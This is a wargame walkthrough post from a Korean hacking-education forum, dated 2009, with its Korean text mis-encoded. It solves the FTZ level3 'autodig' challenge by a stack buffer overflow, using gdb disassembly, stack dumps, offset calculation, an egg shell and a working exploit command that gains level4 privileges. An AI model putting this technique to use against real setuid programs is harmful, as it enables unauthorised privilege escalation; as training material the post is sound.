1581, 1/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   trynerr
   [ÀÚÀÛ] level3 BOF·Î Ç®¾îº¸±â!!

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1237 [º¹»ç]


[level3@ftz level3]$ gdb -q autodig
(gdb) disas main
Dump of assembler code for function main:
0x08048510 <main+0>:    push   %ebp
0x08048511 <main+1>:    mov    %esp,%ebp
0x08048513 <main+3>:    sub    $0x78,%esp
0x08048516 <main+6>:    cmpl   $0x2,0x8(%ebp)
0x0804851a <main+10>:   je     0x804854c <main+60>
0x0804851c <main+12>:   sub    $0xc,%esp
0x0804851f <main+15>:   push   $0x8048628
0x08048524 <main+20>:   call   0x80483cc <printf>
0x08048529 <main+25>:   add    $0x10,%esp
0x0804852c <main+28>:   sub    $0x8,%esp
0x0804852f <main+31>:   mov    0xc(%ebp),%eax
0x08048532 <main+34>:   pushl  (%eax)
0x08048534 <main+36>:   push   $0x8048641
0x08048539 <main+41>:   call   0x80483cc <printf>
0x0804853e <main+46>:   add    $0x10,%esp
0x08048541 <main+49>:   sub    $0xc,%esp
0x08048544 <main+52>:   push   $0x0
0x08048546 <main+54>:   call   0x80483ec <exit>
0x0804854b <main+59>:   nop    
0x0804854c <main+60>:   sub    $0x8,%esp
0x0804854f <main+63>:   push   $0x8048652
0x08048554 <main+68>:   lea    0xffffff88(%ebp),%eax
0x08048557 <main+71>:   push   %eax
0x08048558 <main+72>:   call   0x80483fc <strcpy>
0x0804855d <main+77>:   add    $0x10,%esp
0x08048560 <main+80>:   sub    $0x8,%esp
0x08048563 <main+83>:   mov    0xc(%ebp),%eax
0x08048566 <main+86>:   add    $0x4,%eax
0x08048569 <main+89>:   pushl  (%eax)
0x0804856b <main+91>:   lea    0xffffff88(%ebp),%eax
0x0804856e <main+94>:   push   %eax
0x0804856f <main+95>:   call   0x80483bc <strcat>
0x08048574 <main+100>:  add    $0x10,%esp
0x08048577 <main+103>:  sub    $0x8,%esp
0x0804857a <main+106>:  push   $0x8048658
0x0804857f <main+111>:  lea    0xffffff88(%ebp),%eax
0x08048582 <main+114>:  push   %eax
0x08048583 <main+115>:  call   0x80483bc <strcat>
---Type <return> to continue, or q <return> to quit---
0x08048588 <main+120>:  add    $0x10,%esp
0x0804858b <main+123>:  sub    $0x8,%esp
0x0804858e <main+126>:  push   $0xbbc
0x08048593 <main+131>:  push   $0xbbc
0x08048598 <main+136>:  call   0x80483dc <setreuid>
0x0804859d <main+141>:  add    $0x10,%esp
0x080485a0 <main+144>:  sub    $0xc,%esp
0x080485a3 <main+147>:  lea    0xffffff88(%ebp),%eax
0x080485a6 <main+150>:  push   %eax
0x080485a7 <main+151>:  call   0x804838c <system>
0x080485ac <main+156>:  add    $0x10,%esp
0x080485af <main+159>:  leave  
0x080485b0 <main+160>:  ret    
0x080485b1 <main+161>:  lea    0x0(%esi),%esi
0x080485b4 <main+164>:  nop    
0x080485b5 <main+165>:  nop    
0x080485b6 <main+166>:  nop    
0x080485b7 <main+167>:  nop    
0x080485b8 <main+168>:  nop    
0x080485b9 <main+169>:  nop    
0x080485ba <main+170>:  nop    
0x080485bb <main+171>:  nop    
0x080485bc <main+172>:  nop    
0x080485bd <main+173>:  nop    
0x080485be <main+174>:  nop    
0x080485bf <main+175>:  nop    
End of assembler dump.

º¸½Ã¸é ¾Æ½Ã°ÚÁö¸¸
0x0804856b <main+91>:   lea    0xffffff88(%ebp),%eax
0x0804856e <main+94>:   push   %eax
0x0804856f <main+95>:   call   0x80483bc <strcat>
ebp-78ºÎºÐ¿¡ ºÎÅÍ ¾²±â ½ÃÀÛÇϳ׿ä...

(gdb) break *main+100
Breakpoint 1 at 0x8048574
(gdb) r `perl -e 'print "A"x1024'`
Starting program: /bin/autodig `perl -e 'print "A"x1024'`

Breakpoint 1, 0x08048574 in main ()
(gdb) x/100wx $esp
0xbffff6d0:     0xbffff6e0      0xbffff899      0x4002bdbd      0x40024a88
0xbffff6e0:     0x20676964      0x41414140      0x41414141      0x41414141
0xbffff6f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff700:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff750:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
...
(gdb) info regi ebp
ebp            0xbffff758       0xbffff758
(gdb)

return address°¡ 0xbffff75c³×¿ä...
°ªµéÀ» Á¦´ë·Î ³Ö¾îº¸ÁÒ...

(gdb) r `perl -e 'print "A"x120'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/autodig `perl -e 'print "A"x120'`

Breakpoint 1, 0x08048574 in main ()
(gdb) x/100wx $esp
0xbffffa50:     0xbffffa60      0xbffffc21      0x4002bdbd      0x40024a88
0xbffffa60:     0x20676964      0x41414140      0x41414141      0x41414141
0xbffffa70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffad0:     0x41414141      0x41414141      0x41414141      0x40030041
0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x4001582c
0xbffffaf0:     0x00000002      0x08048670      0x00000000      0x08048431
0xbffffb00:     0x08048510      0x00000002      0xbffffb24      0x08048354
0xbffffb10:     0x08048600      0x4000c660      0xbffffb1c      0x08048410
0xbffffb20:     0x00000002      0xbffffc14      0xbffffc21      0x00000000
0xbffffb30:     0xbffffc9a      0xbffffcb5      0xbffffcd3      0xbffffcde
0xbffffb40:     0xbffffcee      0xbffffcfc      0xbffffd08      0xbffffecb
0xbffffb50:     0xbfffff0d      0xbfffff29      0xbfffff3a      0xbfffff4f
0xbffffb60:     0xbfffff60      0xbfffff71      0xbfffff83      0xbfffff8b
0xbffffb70:     0xbfffffa9      0xbfffffb8      0xbfffffda      0x00000000
0xbffffb80:     0x00000010      0x0febfbff      0x00000006      0x00001000
0xbffffb90:     0x00000011      0x00000064      0x00000003      0x08048034
0xbffffba0:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffbb0:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffbc0:     0x00000009      0x08048670      0x0000000b      0x00000bbb
0xbffffbd0:     0x0000000c      0x00000bbb      0x0000000d      0x00000bbb
(gdb) info regi ebp
ebp            0xbffffad8       0xbffffad8
(gdb) x/s 0xbffffa60
0xbffffa60:      "dig @", 'A' <repeats 120 times>
(gdb)
¾Õ¿¡ dig @ <- 5byte¸¦ »ç¿ëÇßÀ¸´Ï
Á¤È®ÇÏ°Ô´Â A¸¦ 120°³ ³Ö¾îµÎ´Â°ÍÀÌ ¾Æ´Ï°í 119°³¸¦ ³Ö¾îµÎ¾î¾ßÇϰڳ׿ä.

A¸¦ 119°³ ³Ö¾îµÎ°í µÚ¿¡ 4byte´Â ¿øÇÏ´Â egg shellÀ§Ä¡¿¡ ³Ö¾îµÎ¸é Á¤È®È÷ overflow ¼º°øÇϰڳ׿ä...
¸¶Áö¸· strcatµÇ´Â ºÎºÐÀº return Address µÚ·Î ¾²°Ô µÇ´Ï±î »ý°¢ÇÒ ÇÊ¿ä°¡ ¾øÀ»°Í °°³×¿ä.

ÀÚ ±×·³ Çغ¾½Ã´Ù.

[level3@ftz tmp]$ ls -al
total 12
drwxrwxr-x    2 root     level3       4096 Aug  4 09:23 .
drwxr-xr-x    4 root     level3       4096 May  7  2002 ..
-rw-rw-r--    1 level3   level3       1000 Aug  4 09:23 egg.c
[level3@ftz tmp]$ gcc -o egg egg.c
[level3@ftz tmp]$ ./egg
esp : 0xbffffb18
sh-2.05b$

Egg ShellÀ» ¶ç¾î³õ°í... °ø°ÝÀ» Çغ¾½Ã´Ù.

sh-2.05b$ autodig `perl -e 'print "A"x119,"\x18\xfb\xff\xbf"'`
dig: Couldn't find server 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuy¢¯': Name or service not known
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh-2.05b$

hint ÆÄÀÏ¿¡¼­ Äڵ带 ¼ÓÀÎ°Ô Àֳ׿ä...
0x08048598 <main+136>:  call   0x80483dc <setreuid>
¹®¸í ÀÌ Äڵ尡 autodig ÇÁ·Î±×·¥ ¼Ó¿¡ µé¾î°¡Àִµ¥.
½ÇÁ¦ hint ÆÄÀÏ¿£ ±× ÇÔ¼ö ¼±¾ðÀÌ µÇ¾îÀÖÁö ¾Ê³×¿ä...

[level3@ftz level3]$ cat hint

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

[level3@ftz level3]$

½ÇÁ¦·Î Àú ÄÚµå·Î µ¹·ÈÀ»°æ¿ì¿£ level4ÀÇ ±ÇÇÑÀ» ȹµæÇÏÁö ¸øÇÕ´Ï´Ù.
setreuidÇÔ¼ö°¡ ½ÇÇàµÇ¾î¾ß¸¸ ȹµæÇÒ¼ö ÀÖ½À´Ï´Ù.
±×·¡¼­ Àú´Â hintÆÄÀϸ¸ º¸°í setreuid¸¦ ½©Äڵ忡 ³Ö°í µ¹·Áµµ °¡´ÉÇϸ®¶ó ¿¹»óÇß´ø°ÍÀε¥..
gdb·Î ±Ü¾îº¸´Ï ½ÇÁ¦·Î´Â setreuidÇÔ¼ö°¡ Äڵ忡 Æ÷ÇԵǾî ÀÖ¾ú³×¿ä.

±×·³ ¼ö°íÇϼ¼¿ä...

  Hit : 8728     Date : 2009/08/04 09:28



    
CodeAche °³ÀÎÀûÀ¸·Î gdb·Î ¾î¶»°Ô ºÐ¼®ÇؾßÇÏ´ÂÁö ¸ô¶ó¼­..Á» ÇÊ¿äÇÑ ´É·Â°°¾Æ ¿©·¯°¡Áö °Ë»öµµ Çغ¸°í ¾î¼À°øºÎµµ Çغ¸°íÇߴµ¥ .. ±¦ÂúÀº ¹®¼­¾ø³ª¿ä?
¸®´ª½º»ó¿¡¼­ gdb »ç¿ëÇÏ´Â ºÐ¼®¹ý¿¡ °ü·ÃµÈ ¹®¼­°¡ Àß ¾Èº¸À̳׿ä.
2009/08/04  
trynerr ´Ù¸¥¹®¼­´Â Àß¸ð¸£°Ú°í ¿Í¿ìÇØÄ¿ ´Þ°í³ª´Ô²²¼­ ¾²½Å BOF¹®¼­¸¦ ÃßõÇÕ´Ï´Ù.
Àúµµ ±×°Í°¡Áö°í °øºÎÇß¾ú´Âµ¥ Á¤¸» ÀÚ¼¼ÇÏ°í Ä£ÀýÇÏ°Ô ¼³¸íÇØÁֽŠ¹®¼­¶ø´Ï´Ù.
±× ¹®¼­¿¡¼­ gdb ºÐ¼®ÇÏ´Â ºÎºÐµµ ¼³¸íÇØÁֽôµ¥ ±×°Í¸¸ °¡Áö°íµµ ÃæºÐÈ÷ BOFºÐ¼®ÀÌ °¡´ÉÇÑ°Í °°½À´Ï´Ù.
2009/08/04  
CodeAche °¨»çÇÕ´Ï´Ù ´Þ°í³ª´ÔÀÌ ¾²½ÅBOF¹®¼­ Âü ÁÁ±º¿ä..
¿¹ÀüºÎÅÍ ÀÌ·±°É ã¾Ò´Âµ¥..¿Ö ³» ´«¿£ ¾È¶ç¾úÁö 05³âµµ¿¡ ¸¸µç¹®¼±µ¥;;
Å« µµ¿òµÆ½À´Ï´Ù~
2009/08/05  
dkdkfjgh ·¹º§3ºÎÅÍ bof·Î Ç®¸é ¤»¤»¤»

¹ÌÄ¡°Ú´Ù,
2009/08/18  
     [°øÁö] °­Á¸¦ ¿Ã¸®½Ç ¶§´Â ¸»¸Ó¸®¸¦ ´Þ¾ÆÁÖ¼¼¿ä^¤Ñ^ [29] ¸Û¸Û 02/27 18813
1580   °í¼ö´ÔµéÀÇ µµ¿òÀ» ¹Þ°í ½Í½À´Ï´Ù     vbnm111
02/11 281
1579   ¸®´ª½º Ä¿³Î 2.6 ¹öÀü ÀÌÈÄÀÇ LKM     jdo
07/25 777
1578   ½©ÄÚµå ¸ðÀ½     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/15 1605
1577   Call by value VS Call by Reference     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/15 975
1576   (²Ä¼ö) L.O.B Çѹ濡 Ŭ¸®¾îÇϱâ[2]     ÇØÅ·ÀßÇÏ°í½Í´Ù
01/14 1326
1575   towelroot.c (zip) ÄÚ¸àÆÃ.[1]     scube
08/18 3847
1574   levitator.c (¾Èµå·ÎÀÌµå ·çÆÃ) °ø°Ý ºÐ¼® ¼Ò½º ÄÚµå °øÀ¯.[4]     scube
08/17 3745
1573   ¹«·á Á¤º¸º¸¾È ±â¼úÀÎÀç ¾ç¼º °úÁ¤ ±³À°»ý ¸ðÁý     chanjung111
06/17 4560
1572   K-Shield ÁִϾî 5±â ¸ðÁý     lrtk
06/17 4283
1571   [ÆÁ] ÆÄÀ̽ã 2¼Ò½º¸¦ 3À¸·Î º¯°æÇØÁÖ´Â »çÀÌÆ®[3]     ÇѽÂÀç
05/13 3982
1570   ±¸±Û ¹é¸µÅ© ÀÛ¾÷ Áú¹®¿ä     wkatnxka
03/30 3418
1569   [ÆÁ] ¿ìºÐÅõ ¹Ì·¯¸µ¼­¹ö     ÇѽÂÀç
03/09 4112
1568 ºñ¹Ð±ÛÀÔ´Ï´Ù  °¨À»¸øÀâ°Ú³×¿ä¤Ì¤Ì     À×À×À×
01/15 3
1567   µ¥ºñ¾È °è¿­ ¸®´ª½º ÀÇÁ¸¼º ±úÁ³À»¶§ ÇØ°á¹ý     ÇѽÂÀç
11/27 4605
1566   È«º¸ÇÕ´Ï´Ù. ½Å»ý º¸¾ÈÄ¿¹Â´ÏƼÀÔ´Ï´Ù.     kimwoojin0952
10/26 4325
1565   ½Å±âÇÑ ÇÁ·Î±×·¡¹Ö ¾ð¾î[3]     koreal33t
09/06 4719
1564   À©µµ¿ì,¸®´ª½º¿¡¼­ ³» ip¸¦ È®ÀÎÇØ º¸ÀÚ [1]     koreal33t
09/06 3921
1563   CTF »çÀÌÆ®[1]     koreal33t
09/06 4579
1562   ÀÚ°ÝÁõ (¹®Á¦)»çÀÌÆ® [2]     koreal33t
09/06 4393
1 [2][3][4][5][6][7][8][9][10]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org